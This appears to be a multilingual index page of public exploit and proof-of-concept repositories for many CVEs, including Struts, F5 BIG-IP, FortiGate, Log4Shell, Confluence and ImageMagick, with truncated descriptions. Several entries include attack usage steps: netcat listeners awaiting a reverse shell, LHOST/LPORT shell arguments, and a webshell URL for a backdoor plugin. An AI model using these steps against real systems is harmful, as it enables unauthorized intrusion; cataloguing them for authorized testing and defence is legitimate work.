FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / リモートコード実行 CVE-2019-18873, CVE-2019-18839 FUDforum 3.0.9 に複数の保存型XSS脆弱性が発見され、それらはリモートコード実行につながる可能性があります。 フォーラムのユーザー名経由の保存型XSS: 詳細 | デモ 管理パネルのユーザーエージェント経由の保存型XSS: 詳細 | デモ...

CVE-2019-6340

Drupal Drupal 8.6.x RCE 漏洞利用 漏洞利用 CVE：CVE-2019-6340 CMS：Drupal CMS 版本：Drupal 8.6.x（已测试） 条件： -Drupal 8.6.x， 8.6.10 或 Drupal 8.5.11 -RESTful Web Services 模块已启用...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit 带有 ROP 链的 FortiGate SSL‑VPN CVE‑2023‑27997 漏洞利用 PoC 脚本 目录 说明 受影响版本 安装 用法 示例输出 技术细节 警告 参考资料 说明 fgt-cve-2023-27997-exploit.py 是为 Fortinet FortiGate 设备中发现的严重安全漏洞 CVE‑2023‑27997 编写的一个 概念验证 PoC 漏洞利用脚本。 该漏洞源于 FortiOS SSL‑VPN 界面中一个无需身份验证即可实现远程代码执行 RCE 的基于堆的缓冲区溢出 错误。 脚本运行步骤： 1...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred ESTE \space EXPLOIT \space PUEDE \space VIOLAR \space LA \space LEY.$$ $$\colorred\space USTED \space ES \space RESPONSABLE \space DE \space SUS \space ACCIONES.$$ $$\colorredSOLO \space CON \space FINES \space DE \space DEMOSTRACIÓN.$$ DESCRIPCIÓN RCE por usuarios no...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 版本 2.3.x（低于 2.3.32）和 2.5.x（低于 2.5.10.1）的 Jakarta Multipart 解析器存在一个缺陷。该缺陷导致在尝试上传文件时异常处理不当并生成错误消息。因此，攻击者可以通过利用精心构造的 HTTP 头部（如 Content-Type、Content-Disposition 或 Content-Length）远程执行任意命令。 执行 python exploit.py -r -c 参考 NIST NVD MITRE Corporation...

CVE-2022-1388-rs

CVE-2022-1388-rs CVE-2022-1388 F5 BIG-IP iControl REST 認証バイパス RCE のためのスキャナーおよびインタラクティブシェル Rust 製 概要 まとめると、この脆弱性を悪用するためのリクエストに必要な条件の概要は次のとおりです。 Connection ヘッダーに X-F5-Auth-Token が含まれている必要がある X-F5-Auth-Token ヘッダーが存在している必要がある Host ヘッダーが localhost / 127.0.0.1 であるか、Connection ヘッダーに X-Forwarded-Host...

CVE-2026-41089

CVE-2026-41089 — Windows Netlogon CLDAP スタックバッファオーバーフロー RCE エクスプロイト CVE-ID: CVE-2026-41089 CVSS: 9.8 Critical CWE: CWE-121 スタックベースのバッファオーバーフロー 攻撃ベクトル: UDP/389 CLDAP SearchRequest 影響: リモートコード実行 RCE / サービス拒否 DoS 影響を受けるバージョン: Windows Server 2012 R2 2025 ドメインコントローラー パッチ: 2026年5月累積更新プログラム 脆弱性の概要...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 python3 -m http.server 80 启动一个 netcat 监听器 nc -nlvp 4444 使用 CURL 发送请求 curl 'TARGETADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 X1...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986远程代码执行漏洞 Code By:Tas9er 警 告 本工具旨在帮助企业快速定位漏洞修复漏洞,仅限授权安全测试使用严格遵守《中华人民共和国网络安全法》,禁止未授权非法攻击站点 授权测试用例: 将企业授权安全测试目标整理后放入url.txt java -jar CVE-2021-22986.jar 等待系统结束后,存在漏洞的网站以及结果会保存在当前目录下,同时也对企业服务器的安全设备的部署有一定的可用性检测。...

Confluence-EvilJar

aaaademo/Confluence-EvilJar Utilizar con CVE-2023-22515 para cargar el paquete jar en segundo plano y lograr RCE git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell http://confluence.local/plugins/servlet/testbin/cmServlet Método de conexión webshel...

log4shell-docker-lab

Log4Shell Docker 实验环境，针对 CVE-2021-44228 组件 此 Docker 实验环境使用了三个组件： 存在漏洞的 Spring Boot 应用 提供用于远程代码执行的 .class 文件的 HTTP 服务器 将特定 LDAP 查询重定向到 HTTP 服务器的 LDAP 引用服务器 Docker 实验环境搭建 1. Docker 网络 docker network create log4shell 2. 构建 Docker 镜像 $ docker build -t log4shell-vulnapp vulnapp $ docker build -t...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress プラグイン RCE 3.5.3 Wordpress用Social Warfareプラグイン バージョン3.5.3未満におけるリモートコード実行。このPoCは追加のHTTPサーバーを実行する必要はありません。ローカルIPと希望するポートを指定するだけで、エクスプロイトが独自のスレッドでサーバーを作成します。 使用方法 usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h, --help show this...

CVE-2025-52078

🚨 CVE-2025-52078 - 認証なし任意ファイルアップロード - Writebot SaaS React テンプレート このリポジトリは、Writebot – AIコンテンツ生成SaaS Reactテンプレート に見つかった認証なし任意ファイルアップロード 脆弱性の概念実証エクスプロイトを含んでいます。 🧠 製品ページ: ThemeForest – Writebot 🆔 脆弱性メタデータ CWE-ID: CWE-434: 危険なタイプのファイルの無制限アップロード 深刻度: 中 バージョン: 3.1 ベクトル文字列:...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - 未授权远程代码执行 XML-RPC 请求容易受到不安全反序列化的影响。 步骤 步骤 1: pip3 install -r requeriments.txt 步骤 2: nc -nlvp 攻击机 步骤 3: python3 shell.py -i -p -li -lp 步骤 4: 你应该会在你的 nc 监听器中获得一个 shell...

CVE-2026-59310-POC

CVE-2026-59310 — VMware vCenter Syslog 目录遍历导致未授权 RCE 免责声明 ：本项目仅用于授权 安全测试、漏洞验证与防御研究。请在获得明确书面授权的环境中使用。使用者需自行承担因滥用导致的一切后果。 目录 漏洞概述 影响版本 漏洞成因 利用链 环境与复现验证 脚本复现 检测与自查 修复建议 常见问题 参考链接 漏洞概述 项目| 内容 ---|--- 漏洞名称| VMware vCenter Syslog 目录遍历漏洞 漏洞编号| CVE-2026-59310 漏洞类型| 目录遍历（Path Traversal）→ 任意文件写入 → 远程代码执行...

CVE-2025-47256

CVE-2025-47256 LibXMP中的栈溢出 描述 libxmp（一个用于模块音乐播放的库）的 depackpha 函数中存在基于栈的缓冲区溢出漏洞。当解析恶意构造的 Pha Packer PHA 模块文件时会触发该漏洞。 由于对局部栈缓冲区缺乏适当的边界检查，攻击者可以向数组边界之外写入数据，可能导致拒绝服务 DoS，且在特定条件下可能实现远程代码执行 RCE。 构建： gcc -g -O0 -I./libxmp/include poc.c pocdata.h ./libxmp/lib/libxmp.a -lm -lz -o poccrasher 漏洞类型 栈缓冲区溢出 厂商...

CVE-2025-59712_CVE-2025-59713

PoC para CVE-2025-59712 y CVE-2025-59713 Este PoC proporciona un script automatizado para explotar CVE-2025-59712 XSS en la cabecera User-Agent y CVE-2025-59713 deserialización insegura. Contexto Estas dos vulnerabilidades fueron descubiertas por Synacktiv durante la investigación de...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 配置 使用 docker ngrok 对 CVE-2018-11235-Git 进行 PoC 与隧道穿透 构建 Dockerfile $ docker build -t cve-2018-11235 . 为 ngrok 创建自定义网络 $ docker network create myngroknet 启动 Git HTTP 服务器 $ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-11235 ...

exploit-CVE-2016-10033

PHPMailer 就这样，你获得了一个 shell。还有另一个 exploit，展示了另一种用法。 ./deface.sh localhost:8080 + CVE-2016-10033 exploit by opsxcq + Exploiting localhost:8080 + T...

CVE-2023-34152

CVE-2023-34152 RCE脆弱性、ImageMagick 6.9.6-4 に影響します。この脆弱性により、攻撃者は被害者のシステム上でコマンドを実行できます。これにより、リモートコマンド実行が可能になります。 これは、fullwaywangによるCVE-2023-34152の発見に触発されたPOCです。 脆弱性の開示 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 説明 OpenBlobにおける任意のコード実行脆弱性（シェルコマンドインジェクション）であり、実際にはCVE-2016-5118への不完全な修正です。...